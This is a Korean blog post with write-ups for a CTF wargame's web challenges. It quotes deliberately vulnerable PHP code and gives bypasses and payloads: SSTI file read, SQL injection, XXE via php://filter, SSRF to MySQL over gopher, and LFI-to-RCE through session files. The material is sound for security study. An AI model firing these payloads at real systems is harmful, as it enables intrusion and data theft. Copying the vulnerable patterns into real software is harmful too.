'Wargame/TRUST TRAINING'에 해당되는 글 1건

같은 팀 동생이 재밌는 워게임 사이트 하나를 알려줘서 주말동안 문제를 좀 풀어봤다. 


재밌는 문제들이 많았는데 그 중에서 나는 웹을 제일 재밌게 풀어서 간단하게 롸업을 작성해봤다.


easy compare +-+!!


source.php


<?php
    
include 'lib.php';
    
$id = isset($_GET['id']) ? $_GET['id'] : "default";
    if( !
strcmp($_GET['id'],$key) ){
        die(
$flag);
    }else{
        echo 
"No<hr>";
    }
    
    
highlight_file(__FILE__);
?>


id 파라미터 값과 key값을 strcmp로 비교한다. 우리는 key값을 모르지만 php strcmp trick으로 우회가 가능하다. id 파라미터 값을 배열로 넘겨주면 된다.



md5md5 +-+!!


source.php


<?php
    
include 'lib.php';
    
    
$md1 = isset($_GET['md1']) ? $_GET['md1'] : "default1";
    
$md2 = isset($_GET['md2']) ? $_GET['md2'] : "default2";

    if(
md5($md1) == md5($md2) && $md1 != $md2){
        die(
$flag);
    }else{
        echo 
"No<hr>";
    }
    
highlight_file(__FILE__);

?>


md5 magic hash 문제이다. 서로 다른 값을 2개 받아서 각 값들을 md5 처리한 hash 값이 동일해야 한다. 이 때 hash값을 느슨한 비교로 비교하기 때문에 bypass가 가능하다. 구글에서 0e형태의 md5 hash를 반환하는 서로다른 값을 찾아서 각각 입력해 주면 된다.



LOFI +-+!!


<?php
    ini_set
('open_basedir'__DIR__); // Plz do not escape..

    
include 'lib.php'// Flag in here!
    
    
$page = isset($_GET['page']) ? $_GET['page'] : "default";

    
highlight_file(__FILE__);

    echo 
"<hr>";
    include 
$page '.php';
    echo 
"<hr>";

?>


LFI 문제이다. Flag가 lib.php파일에 존재한다. flag가 php 변수에 저장되어 있어서 그냥 파일을 include 시키면 플래그가 안보이기 때문에 php wrapper를 사용해서 base64 형태로 소스코드를 leak하면 된다.



getadmin +-+!!


source.php

<?php
    
include 'lib.php';

    
session_start();
    if(!isset(
$_SESSION['user'])){
        
$_SESSION['user'] = 'guest';
    }

    if(
$_SESSION['user'] === 'admin'){
        
session_destroy();
        die(
$flag);
    }

    echo 
"Welcome " $_SESSION['user'] . "!<br>";
    echo 
"You can use + operator<br><br>";

    if(isset(
$_GET['a']) && isset($_GET['b'])){
        
extract($_GET);
        echo (int)
$a + (int)$b;
    }

    echo 
"<br><hr><br>";

    
highlight_file(__FILE__);

?>


세션 내 user값이 admin이어야 한다. 해당 값은 무조건 guest로 세팅되지만 extract를 사용하고 있어서 bypass가 가능하다. extarct를 이용해 세션 내 user값을 admin으로 덮어주면 된다.



nohack +-+!!


source.php


<?php
    
include 'db.php';

    
$id = isset($_GET['id']) ? $_GET['id'] : "default";
    
$pw = isset($_GET['pw']) ? $_GET['pw'] : "default";
    
$id addslashes($id);
    
$pw md5($pw,true);

    
$query "select * from user where id='${id}' and pw='${pw}'";


    
$res mysqli_query($conn$query);
  
$arr mysqli_fetch_array($res);

    if(
count($arr) != 0){
        die(
$flag);
    }else{
        echo 
"No..";
    }
    echo 
"<hr><br>";
    
highlight_file(__FILE__);
?>


SQL Injection인데 그냥 보면 취약점이 안터진다. 근데 패스워드를 hash 처리할 때 md5의 true option을 사용하고 있다. 해당 옵션을 사용하면 함수 return 값이 hex 값이 아닌 binary 값으로 반환된다. 즉 반환값에 특문이 포함될 수 있기 때문에 리턴 값이 ' or '1'='1 대충 이런 형태로 반환되는 input을 찾아주면 된다. 간단히 구글에 검색해보면 해당 input 값을 찾을 수 있다.



request +-+!!


source.php


<?php
    ini_set
('open_basedir'__DIR__); // Plz do not escape..
  
include 'lib.php';
    
// Flag in admin.php!! but it can connect only localhost +-+!!

    
$url = isset($_GET['url']) ? $_GET['url'] : "http://c2w2m2.com";

    
$ch curl_init(); 
    
curl_setopt($chCURLOPT_URL$url); 
  
curl_setopt($chCURLOPT_HTTPHEADER$header);
  
$data curl_exec($ch); 
  
curl_close($ch); 

    
highlight_file(__FILE__);

    echo 
"<hr>";
    echo (
$data); 

?>


요청 값을 별도의 필터없이 curl로 요청한다. 문제에서 admin.php에 접근해 달라고 했기 때문에 해당 페이지의 도메인을 포함한 전체 URL 정보를 파라미터 값으로 넘겨주면 된다.



route +-+!!


source.php


<?php
    error_reporting
(0);
    include 
'lib.php';

    
$tmp urldecode($_SERVER['REQUEST_URI']);

    
$url parse_url($tmpPHP_URL_QUERY);

    if(
stripos($url'flag') !== false){
        die(
"no");
    }

    if(isset(
$_GET['flag'])){
        die(
$flag);
    }

    
highlight_file(__FILE__);

?>


URL Query 영역에 flag라는 문자열이 존재하면 안된다. 근데 우리는 flag 파라미터를 사용해야 한다. 일반적으로 불가능한 코드지만 parse_url bug를 이용해 파싱시에 false를 반환하게 해주면 된다. URI 정보를 ///~ 이런식으로 반환하게 해주면 parse_url이 파싱하면서 호스트 정보가 존재하지 않는다고 판단해 에러를 반환한다. 이를 통해 필터를 우회해서 flag 파라미터를 사용해주면 된다.



S5Ti +-+!!


문제에 들어가보면 SSTI가 터진다. 필터링이 따로 존재하지 않아 아래 구문으로 문제에서 지정해 준 flag파일을 읽어주면 된다.


payload ={{''.__class__.__mro__[2].__subclasses__()[40]('/flag').read()}}



Easy sqli return +-+!!


source.php


<?php
    
include 'db.php';

    
$id $_GET['id'];
    
$pw $_GET['pw'];
    
  if(
preg_match('/[a-zA-Z0-9]/i'$id) || preg_match('/[a-zA-Z0-9]/i'$pw)) exit("Filtered"); 
  if(
preg_match('/\||&| |\t|\n|\'/i'$id) || preg_match('/\||&| |\t|\n|\'/i'$pw)) exit("Filtered"); 

    
$query "select * from user where id='${id}' and pw='${pw}'";

    echo 
"<b>".$query."</b>";
    echo 
"<br><br>";

    
$res mysqli_query($conn$query);
    
$arr mysqli_fetch_array($res);

    if(
count($arr) != 0){
        echo 
$flag;
        exit;    
    }else{
        echo 
"No..";
    }
    echo 
"<hr><br>";
    
highlight_file(__FILE__);
?>


SQLI 문제이다. false sql injection을 통해 참 값의 쿼리문을 만들어 주면 된다.


Payload = http://test.c2w2m2.com/ctf/easy_sqli/?id=\&pw=^%22%22%23



XXX +-+!!


source.php


<?php
    
if(isset($_GET['source'])){
        
highlight_file(__FILE__);
        exit;
    }

  
ini_set('open_basedir'__DIR__); // Plz do not escape..
    
libxml_disable_entity_loader(false);
    if(isset(
$_POST['xml'])){
        
$xml $_POST['xml'];
        
$root simplexml_load_string($xml,'SimpleXMLElement'LIBXML_NOENT) or die("XML parse err");
    }
?>

<form action="/ctf/XXX/index.php" method="post">
    <textarea name="xml" rows=15 cols=100  onkeydown="if(event.keyCode===9){var v=this.value,s=this.selectionStart,e=this.selectionEnd;this.value=v.substring(0, s)+'\t'+v.substring(e);this.selectionStart=this.selectionEnd=s+1;return false;}"></textarea><br><br>
    <input type="submit" value="+-+!!">
</form>

<hr><br>
<?php print_r($root); ?>


XXE 문제이다. 파싱결과를 뿌려주기 때문에 따로 OOB 없이 그냥 기본 구문을 사용해 flag 파일을 읽어주면 된다.


payload 

<?xml version="1.0"?>

<!DOCTYPE ssr[

<!ENTITY ssrtest SYSTEM  "php://filter/convert.base64-encode/resource=./flag.php">

]>

<result><test>%26ssrtest;</test></result>

Flag = TRUST{XX3_XXE_XX1}


Xs5 +-+!!


source.php


<?php
    $text 
= isset($_GET['text']) ? $_GET['text'] : 'default message';

    
$text str_replace('"''&quot;',$text);
    

    echo 
"<h3>" $text "</h3>";
    echo 
"<hr><br>";

?>

    <form method="get" action="/ctf/xs5/">
        <input type="text" placeholder="message" name="text" size="100">
        <input type="submit" value="+-+!!">
    </form>


    <a href="check.php"> check +-+!! </a>
    <br><br>

    BOT : HeadlessChrome/73.0.3683.103
    <br><br>

    Flag on Admin cookie
<hr><br>

<?php
    highlight_file
(__FILE__);
?>

<hr><br>


간단해보이는 XSS 문제인데 Chrome XSS Auditor가 적용되어 있다. 근데 코드를 보면 "를 replace 처리하는 코드가 존재한다. 해당 코드를 이용해 input과 페이지 내 뿌려지는 값이 다르도록 payload에 "를 섞어서 XSS Auditor를 Bypass 해주면 된다.



jjcode +-+!!


문제에 들어가보면 파일 다운로드 취약점이 터지는 페이지가 존재한다. 해당 페이지를 통해 모든 소스코드를 leak한 뒤 코드 분석을 해보면 util.php의 render 함수에서 SSRF가 터진다.


util.php


<?php

    function checkLogin_(){

        if(isset($_SESSION["username"])){

            return 1;

        }else{

            return 0;

        }

    }


    function checkLogin(){

        if(!checkLogin_()){

            die("Plz login");

        }

    }


    function hashing($data){

        return hash("sha256", "myst4rt_S4lt".$data."y0ur_3nd_sa1t");

    }


    function render($data){

        $data = preg_replace('/</i', '&lt;', $data);

        $data = preg_replace('/>/i', '&gt;', $data);

        $data = preg_replace('/\"/i', '&quot;', $data);

        $data = preg_replace('/javascript/i', '', $data);


        $data = preg_replace('/\[bold\](.*)\[\/bold\]/i', '<b>${1}</b>', $data);

        $data = preg_replace('/\[italic\](.*)\[\/italic\]/i', '<i>${1}</i>', $data);

        $data = preg_replace('/\[under\](.*)\[\/under\]/i', '<u>${1}</u>', $data);

        $data = preg_replace('/\[delete\](.*)\[\/delete\]/i', '<s>${1}</s>', $data);

        $data = preg_replace('/\[quote\](.*)\[\/quote\]/i', '<blockquote><p>${1}</p></blockquote>', $data);

        $data = preg_replace('/\[img\](.*)\[\/img\]/i', '<img src="${1}">', $data);


        $data = preg_replace('/\[youtube\](https?:\/\/www.youtube.com\/embed\/.*)\[\/youtube\]/i', '<iframe width="560" height="315" src="${1}" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe>', $data);


        $data = preg_replace('/\[enter\]/i', '<br>', $data);


        $data = preg_replace('/\[color=(\w{0,4})\](.*)\[\/color\]/i', '<span style="color:${1};">${2}</span>', $data);

        $data = preg_replace('/\[size=(\d{0,4})\](.*)\[\/size\]/i', '<span style="font-size:${1}px;">${2}</span>', $data);


        preg_match_all('/\[link\](https?:\/\/[^\[\]]*)\[\/link\]/', $data, $res);

        

        for($i = 0; $i < count($res[0]); $i++){

            $replace = $res[0][$i];

    $url = $res[1][$i];

    $curl = curl_init();

    

    curl_setopt($curl, CURLOPT_URL, $url);

            curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, FALSE);

            curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 0);

            curl_setopt($curl, CURLOPT_HEADER, 0);

            curl_setopt($curl, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);

    curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);

    

    $html = curl_exec($curl);


    if(curl_error($curl))

                $html = '';

    

    curl_close($curl);


            $desc = preg_match('/<meta property="og:description" content="(.*)"\/?>/i', $html, $match) ? $match[1] : $url;


            $title = preg_match('/\<title\>([^<>]*)<\/title\>/i', $html, $match) ? $match[1] : $url;

            if($title == $url){

                preg_match('/https?:\/\/(www|).([^.]*).*/i', $url, $title);

                $title = $title[2];

            } <meta property="og:image" content="(http://www.naver.com)"/>


            $img = preg_match('/<meta property="og:image" content="(.*)"\/?>/i', $html, $match) ? $match[1] : 'https://vignette.wikia.nocookie.net/ecole-oraliste-eslvocabulary/images/a/a1/None_flowers.jpg/revision/latest?cb=20150321170046';

            

            $curl = curl_init();

            curl_setopt($curl, CURLOPT_URL, $img);

            curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, FALSE);

            curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 0);

            curl_setopt($curl, CURLOPT_HEADER, 0);

            curl_setopt($curl, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);

            curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);

            $img_data = base64_encode(curl_exec($curl));

            if(curl_error($curl))

                $img_data = '';

            

            curl_close($curl);

            

            $tag = "<div class=\"box\" onclick=\"window.open('${url}')\"><div class=\"content\"><img style=\"float:left;\" src=\"data:image/png;base64, ${img_data}\"><div class=\"text\"><h2>${title}</h2><span style=\"font-size:14px\">${desc}</span></div></div></div>";


            $data = str_replace($replace, $tag,$data);

        }

        return $data;

    }

?>


코드를 잘 보면 SSRF를 통해 반환된 값이 img tag 내에서 base64 encoding된 값으로 반환되는 걸 볼 수 있다. 이제 이걸로 뭘 할 수 있는지를 보면 되는데 db 설정파일을 보면 mysql 연결 시 패스워드를 사용하지 않고 있다.


dbconfig.php


<?php

    $db = mysqli_connect(

        'localhost',

        'jjcode',

        '',

        'jjcode'

    ) or die('Error! tell admin');

?>


이를 통해 Gopher를 이용한 Mysql 접근이 가능하다는 걸 알 수 있고 해당 기법을 사용해 디비 내 존재하는 Flag를 읽어주면 된다.


해당 기법은 구글에 ssrf gopher mysql 같은 형태로 검색해서 사용해 주면 된다.



LOOFI +-+!!


기본적으로 LFI가 터진다. 이걸로 소스코드를 쭉 leak 해서 코드를 분석해주면 된다.

LFI로 RCE를 해주면 되는데, 별도의 업로드 기능이 없고 세션이 고정된 환경이라 세션값을 내가 컨트롤할 수 있기 때문에 세션 파일로 LFI를 해주면 된다. LFI 시 input이 php로 끝나는지 검증하기 때문에 세션파일명을 ssrtestphp 이런형태로 만들어주면 된다.


여기까지 가능한걸 확인한 뒤 이제 유저명에 php를 코드를 넣어주면 되는데, 회원 가입 및 로그인 시 <,>,?를 제거해 버린다. 일반적으로 php 코드를 박아넣을 수 없는 상황이기 때문에 유저명을 base64형태로 encoding해서 넣어주고 lfi로 해당 파일을 불러올 때 decoding 처리를 하기 위해 php://filter/convert.base64-decode/resource=세션파일경로 요런 형태 요청해주면 된다.


이 때 decoding 시 php 코드가 깨지지 않도록 encoding된 payload 값 앞에 문자열 개수가 4의 배수가 되도록 padding처리까지 정확히 해줘서 exploit하면 된다. 이후에는 rce를 통해 플래그 파일을 읽어주면 된다.




 







블로그 이미지

JeonYoungSin

메모 기록용 공간

,